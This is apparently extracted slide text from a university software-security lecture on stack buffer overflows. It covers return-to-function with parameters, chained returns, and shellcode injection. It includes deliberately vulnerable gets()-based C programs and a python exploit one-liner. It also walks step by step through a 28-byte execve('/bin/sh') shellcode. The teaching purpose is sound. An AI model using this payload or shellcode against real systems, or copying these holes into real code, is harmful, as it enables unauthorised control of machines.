
CSE 410/510 Special Topics: 
Software Security

Instructor: Dr. Ziming Zhao

Location: Obrian 109
Time: Monday, Wednesday 5:00PM-6:20PM



Walkthrough Crackme-1



Last and This Class

1. Stack-based buffer overflow (Sequential buffer overflow)
a. Overflow RET address to execute a function
b. Overflow RET and more to execute a function with parameters



Return to a function with 
parameter(s)



Buffer Overflow Example: code/overflowret2
int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

RET

%ebp Saved EBP

buf

...

...



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Addr of printsecret

%ebp AAAA

buf

...

...



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Addr of printsecret

%esp, %ebp AAAA

buf

...

...

mov %ebp, %esp
pop %ebp
ret



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Addr of printsecret%esp
AAAA

buf

...

...

mov %ebp, %esp
pop %ebp
ret

%ebp = AAAA



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Addr of printsecret

AAAA

buf

...

...

mov %ebp, %esp
pop %ebp
ret

%eip = Addr of printsecret

%esp

%ebp = AAAA



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

AAAA%esp
AAAA

buf

 %ebp = AAAA
...

...

push %ebp
mov %esp, %ebp 



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

AAAA%ebp, %esp
AAAA

buf

...

...

push %ebp
mov %esp, %ebp 



int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

AAAA: saved EBP%ebp, %esp
AAAA

buf

i: Parameter1 

RET

Address of i to overwrite:
Buf + sizeof(buf) + 12



Overwrite RET and More

int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Addr of printsecret

%ebp Does not matter

buf %eax

0x12345678

Does not matter

Exploit will be something like:

python -c "print 'A'*18+'\x2d\x62\x55\x56' + 'A'*4 + '\x78\x56\x34\x12'" | ./or2



Overwrite RET and More

int printsecret(int i)
{
  if (i == 0x12345678) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Addr of printsecret

%ebp Does not matter

buf %eax

0x12345678

Does not matter

Exploit will be something like:

python -c "print 'A'*18+'\x2d\x62\x55\x56' + 'A'*4 + '\x78\x56\x34\x12'" | ./or2



Return to function with many arguments?

int printsecret(int i, int j)
{
  if (i == 0x12345678 && j == 0xdeadbeef) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", 
printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

AAAA: saved EBP%ebp, %esp
AAAA

buf

i: Parameter1 

RET

j: Parameter2 



Buffer Overflow Example: code/overflowret3
int printsecret(int i, int j)
{
  if (i == 0x12345678 && j == 0xdeadbeef) 
    print_flag();
  else
    printf("I pity the fool!\n");  

  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n", printsecret);
  vulfoo();
  printf("I pity the fool!\n");  
}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   



Can we return to a chain of 
functions?



(32 bit) Return to multiple functions?

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp

Can 
overwrite 

once

1. Before 
epilogue of 

vulfoo



(32 bit) Return to multiple functions?

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp

1. Before 
epilogue of 

vulfoo

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp 
= A

2. After 
epilogue of 

vulfoo

%esp

%eip 
= f1



(32 bit) Return to multiple functions?

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp

1. Before 
epilogue of 

vulfoo
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A
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arg-v-1 

RET = f1
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%ebp 
= A

2. After 
epilogue of 

vulfoo

%esp

%eip 
= f1

Saved EBP = 
A

Padding

buf

RET = f2 

Saved EBP = 
A

arg-f1-1 

%ebp 

3. after 
prologue of 

f1

arg-f1-2 



(32 bit) Return to multiple functions?

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp

1. Before 
epilogue of 

vulfoo

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp 
= A

2. After 
epilogue of 

vulfoo

%esp

%eip 
= f1

Saved EBP = 
A

Padding

buf

RET = f2 

Saved EBP = 
A

arg-f1-1 

%ebp 

3. after 
prologue of 

f1

arg-f1-2 
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A
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%ebp 
= A

%esp

%eip 
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4. after 
epilogue of 

f1



(32 bit) Return to multiple functions?

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp

1. Before 
epilogue of 

vulfoo

Saved EBP = 
A

Padding

buf

arg-v-1 

RET = f1

arg-v-2 

%ebp 
= A

2. After 
epilogue of 

vulfoo

%esp

%eip 
= f1

Saved EBP = 
A

Padding

buf

RET = f2 

Saved EBP = 
A

arg-f1-1 
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(32 bit) Return to multiple functions?

Saved EBP = 
A

Padding

buf

RET = f2 

RET = f1

RET = f3 

%ebp

1. Before 
epilogue of 

vulfoo

Saved EBP = 
A

Padding

buf

RET = f2

RET = f1

RET = f3  

%ebp 
= A

2. After 
epilogue of 

vulfoo

%esp

%eip 
= f1

Saved EBP = 
A

Padding

buf

RET = f2 

Saved EBP = 
A

RET = f3 

%ebp 

3. after 
prologue of 

f1

Saved EBP = 
A

Padding

buf

RET = f2 

Saved EBP = 
A

RET = f3 

%ebp 
= A
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%eip 
= f2

4. after 
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f1
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A

Padding

buf
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A
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A
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5. after 
prologue of 

f2

Finding: We can return to a chain of unlimited number of functions



Buffer Overflow Example: code/overflowretchain 32bit
int f1()
{
  printf("Knowledge ");}

int f2()
{
  printf("is ");}

void f3()
{
  printf("power. ");}

void f4()
{
  printf("France ");}

void f5()
{
  printf("bacon.\n");
  exit(0);}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;
}

int main(int argc, char *argv[])
{
  printf("Function addresses:\nf1: %p\nf2: %p\nf3: %p\nf4: 
%p\nf5: %p\n", f1, f2, f3, f4, f5);
  vulfoo();
  printf("I pity the fool!\n");  
}



Buffer Overflow Example: code/overflowretchain 32bit



Buffer Overflow Example: code/overflowretchain 64bit



(32-bit) Return to functions with one argument?

Saved EBP = 
A

Padding

buf

RET = f2 
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Overwrite RET and return to 
Shellcode

Control-flow Hijacking 



Buffer Overflow Example: code/overflowret4 32-bit

int vulfoo()
{
  char buf[30];

  gets(buf);
  return 0;
}

int main(int argc, char *argv[])
{
  vulfoo();
  printf("I pity the fool!\n");  
}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   



How to overwrite RET?

Inject data big enough...

What to overwrite RET?

Wherever we want?

What code to execute?

Something that give us more control??



Stack-based Buffer Overflow

RET

Saved %ebp

Buf

A valid return address in main()

Function Frame of Vulfoo

buf



Stack-based Buffer Overflow

RET

Saved %ebp

Buf

We can control what and how much to 
write to buf.

We want to overwrite RET, so when vulfoo 
returns it goes to the “malicious” code 
provided by us.

Function Frame of Vulfoo

buf



Stack-based Buffer Overflow

RET

Saved %ebp

Shellcode

How about we put shellcode in buf??

And overwrite RET to point to the 
shellcode?

The shellcode will generate a shell for 
us.

Function Frame of Vulfoo

buf



Stack-based Buffer Overflow

RET

Saved %ebp

Shellcode
Add some NOP (0x90, NOP sled) in 
front of shellcode to increase the 
chance of success.

Function Frame of Vulfoo

NOPs

buf



How much data we need to overwrite RET? 
Overflowret4 32bit

000011bd <vulfoo>:
    11bd:55                   push   %ebp
    11be:89 e5                mov    %esp,%ebp
    11c0: 83 ec 28             sub    $0x38,%esp
    11c3: 83 ec 0c             sub    $0xc,%esp
    11c6: 8d 45 da             lea    -0x30(%ebp),%eax
    11c9: 50                   push   %eax
    11ca: e8 fc ff ff ff       call   11cb <gets>
    11cf: 83 c4 10             add    $0x10,%esp
    11d2:b8 00 00 00 00       mov    $0x0,%eax
    11d7:c9                   leave  
    11d8:c3                   ret    

...

...

RET

%ebp Saved %ebp

buf 0x30



How much data we need to overwrite RET?
Overflowret4 32bit

000011bd <vulfoo>:
    11bd:55                   push   %ebp
    11be:89 e5                mov    %esp,%ebp
    11c0: 83 ec 28             sub    $0x38,%esp
    11c3: 83 ec 0c             sub    $0xc,%esp
    11c6: 8d 45 da             lea    -0x30(%ebp),%eax
    11c9: 50                   push   %eax
    11ca: e8 fc ff ff ff       call   11cb <gets>
    11cf: 83 c4 10             add    $0x10,%esp
    11d2:b8 00 00 00 00       mov    $0x0,%eax
    11d7:c9                   leave  
    11d8:c3                   ret    

...

...

RET

%ebp Saved %ebp

buf 0x30



Your First Shellcode: execve(“/bin/sh”) 32-bit

 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

http://shell-storm.org/shellcode/files/shellcode-811.php


https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html

Making a System Call in x86 Assembly

https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html


Making a System Call in x86 Assembly

%eax=11; execve(“/bin/sh”, Addr of “/bin/sh”, 0)



 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0;
%ebx
%ecx
%edx

Stack:H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0;
%ebx
%ecx
%edx

Stack:

00 00 00 00

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0;
%ebx
%ecx
%edx

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


2f 62 69 6e 2f 2f 73 68
/   b   i    n   /   /   s   h



 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0;
%ebx
%ecx
%edx

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0;
%ebx
%ecx = 0
%edx

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0;
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0xb; 11 in decimal
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

Your First Shellcode: execve(“/bin/sh”) 32-bit

Registers:
%eax = 0xb; 11 in decimal
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

If successful, a new process “/bin/sh” is created!

Registers:
%eax = 0xb; 11 in decimal, execve()
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

If not successful, let us clean it up!

Registers:
%eax = 0x0;
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

If not successful, let us clean it up!

Registers:
%eax = 0x1; exit()
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php


https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html

Making a System Call in x86 Assembly

https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html


 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89
\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

28 bytes

http://shell-storm.org/shellcode/files/shellcode-811.php

If not successful, let us clean it up!

Registers:
%eax = 0x1; exit()
%ebx
%ecx = 0
%edx = 0

Stack:

00 00 00 00
2f 2f 73 68
2f 62 69 6e

H

L

L H

http://shell-storm.org/shellcode/files/shellcode-811.php

